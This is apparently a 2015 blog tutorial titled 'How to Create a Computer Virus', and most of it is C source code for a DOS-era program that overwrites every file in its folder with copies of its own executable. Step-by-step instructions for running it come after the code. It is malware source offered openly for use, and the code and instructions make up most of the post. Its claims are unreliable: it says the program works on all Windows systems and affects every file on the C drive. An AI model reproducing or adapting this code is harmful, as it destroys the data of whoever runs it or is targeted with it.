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Wednesday, September 23, 2015

How to Create a Computer Virus? how Create a Computer virus in C++ language

How to Create a Computer Virus? Create Computer virus in C++ language 

you know you can create a computer virus very simply.here i am tell you How to create a computer virus.and thats working on all windows.they effect the all type of file in c drive so lets look it.Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.so now i am tell you How to Create a Computer Virus? how Create a Computer virus in C++ language 


how-to-create-computer-virus-how-create-a-computer-virus-in-c-language

Create Computer virus




  • Search and find the target folder in the directory

  • target the folder

  • Copy the given source code
  • Paste in target folder.

 
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

How to check this virus


Create any new folder

Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.Copy some file into folder

You see after some time that virus effect your file.and that file also a part of virus

warning : dont use personaly becouse that virus effected your files data.and some time they crash your hardisk so be carefull when you use this virus.

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